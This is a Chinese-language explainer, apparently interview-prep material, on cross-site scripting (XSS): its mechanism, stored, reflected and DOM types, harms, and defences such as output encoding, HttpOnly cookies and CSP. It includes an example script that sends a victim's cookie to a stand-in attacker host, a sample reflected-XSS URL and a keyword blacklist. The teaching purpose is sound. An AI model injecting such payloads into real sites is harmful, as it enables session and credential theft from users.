基于本文回答
0
评论

什么是 XSS(跨站脚本攻击)?如何防御?

知识点图片

XSS(Cross-Site Scripting,跨站脚本攻击) 是一种常见的 Web 安全漏洞。为了避免与 CSS(层叠样式表)缩写混淆,因此被称为 XSS。

简单来说,XSS 攻击允许恶意攻击者将恶意代码(通常是 JavaScript,但也包括 HTML、Flash 等)注入到用户浏览的网页中。当受害者访问这些网页时,浏览器会执行这些恶意代码,从而导致用户信息泄露或被恶意操作。


一、 XSS 的攻击原理

Web 浏览器通常会无条件地信任服务器发送过来的 HTML 和脚本。如果网站没有对用户提交的数据进行严格的过滤或转义,直接将其显示在页面上,攻击者就可以利用这一点。

核心流程:

  1. 攻击者构造一段恶意脚本(例如 <script>document.location='http://hacker.com?cookie='+document.cookie</script>)。
  2. 攻击者通过某种方式将这段脚本注入到目标网站的页面中。
  3. 受害者访问该页面。
  4. 受害者的浏览器执行了这段脚本。
  5. 脚本窃取受害者的 Cookie、Session ID,或者进行其他恶意操作。

二、 XSS 的三种主要类型

根据攻击代码的存储位置和触发方式,XSS 主要分为三类:

1. 存储型 XSS (Stored XSS) —— 最危险

  • 原理:恶意代码被永久存储在目标服务器的数据库、文件系统或论坛帖子中。
  • 场景:论坛留言、商品评论、用户个人简介。
  • 过程
    1. 攻击者在评论区提交包含恶意脚本的评论。
    2. 服务器将评论保存到数据库。
    3. 任何用户(包括管理员)访问该评论页面时,服务器从数据库取出恶意代码并渲染给浏览器。
    4. 脚本在所有访问者的浏览器中执行。

2. 反射型 XSS (Reflected XSS)

  • 原理:恶意代码没有存储在服务器上,而是作为请求的一部分(通常在 URL 参数中)发送给服务器,服务器又将该参数“反射”回页面显示。
  • 场景:网站搜索结果、错误提示页面。
  • 过程
    1. 攻击者构造一个包含恶意脚本的 URL(例如 http://example.com/search?q=<script>alert(1)</script>)。
    2. 攻击者诱导受害者点击这个链接(通过邮件、社交媒体)。
    3. 受害者点击后,服务器接收请求,并将 URL 中的脚本作为搜索关键词显示在页面上。
    4. 浏览器执行脚本。

3. DOM 型 XSS (DOM-based XSS)

  • 原理:不需要服务器参与,完全发生在客户端。是由于前端 JavaScript 代码逻辑不严谨,从 DOM 环境(如 location.hash, document.referrer)中获取数据并直接修改页面结构(如 innerHTML, document.write)导致的。
  • 场景:复杂的前端单页应用(SPA)。
  • 过程
    1. 攻击者构造 URL。
    2. 受害者访问 URL。
    3. 前端 JS 代码读取 URL 中的参数,不经处理直接插入到 HTML 标签中,导致脚本执行。

三、 XSS 的危害

  • 窃取 Cookie/Session:攻击者获取用户身份凭证,从而盗号。
  • 监听用户行为:记录键盘输入(Keylogger),窃取信用卡信息或密码。
  • 修改页面内容:篡改网页展示信息(钓鱼),诱导用户下载恶意软件。
  • 蠕虫传播:在社交网站上自动关注、转发、发帖,导致病毒式扩散。

四、 如何防御 XSS?

防御 XSS 的核心原则是:永远不要信任用户的输入,并对输出进行处理。

1. 输入过滤 (Input Validation)

在数据进入服务器之前进行检查。

  • 白名单验证:只允许特定的字符或格式(例如,年龄只能是数字,URL 必须以 http 开头)。
  • 黑名单过滤:过滤掉 <script>, javascript:, onclick 等敏感关键字(但这种方式容易被绕过,不建议作为唯一手段)。

2. 输出转义/编码 (Output Encoding) —— 最有效的防御手段

在将数据输出到 HTML 页面之前,将特殊字符转换为 HTML 实体。这样浏览器会将其视为普通文本,而不是可执行的代码。

  • 关键字符转义
    • & -> &amp;
    • < -> &lt;
    • > -> &gt;
    • " -> &quot;
    • ' -> &#x27;
    • / -> &#x2F;
  • 注意上下文:在 HTML 标签内、属性内、JavaScript 代码内、CSS 内,转义规则是不同的。

3. 使用 HttpOnly Cookie

将敏感的 Cookie(如 Session ID)标记为 HttpOnly

  • 作用:禁止 JavaScript 通过 document.cookie 读取该 Cookie。
  • 效果:即使发生了 XSS 攻击,攻击者也无法窃取用户的登录凭证。

4. 内容安全策略 (CSP - Content Security Policy)

CSP 是一个 HTTP 响应头,允许网站管理员声明允许加载哪些资源。

  • 作用
    • 禁止加载外部域名的脚本。
    • 禁止内联脚本(Inline Script,即直接写在 HTML 里的 <script>)。
    • 禁止 eval() 等危险函数。
  • 示例Content-Security-Policy: default-src 'self' (只允许加载本域名的资源)。

5. 使用现代 Web 框架

现代前端框架(如 React, Vue, Angular)在默认情况下会自动对数据进行转义。

  • 只要不刻意使用 v-html (Vue) 或 dangerouslySetInnerHTML (React),框架通常能防御大部分 XSS 攻击。

总结

XSS 是利用浏览器对服务器内容的信任来执行恶意代码。防御的关键在于“输入做检查,输出做转义”,并配合 CSPHttpOnly 等安全策略建立纵深防御体系。

右滑查看面试常问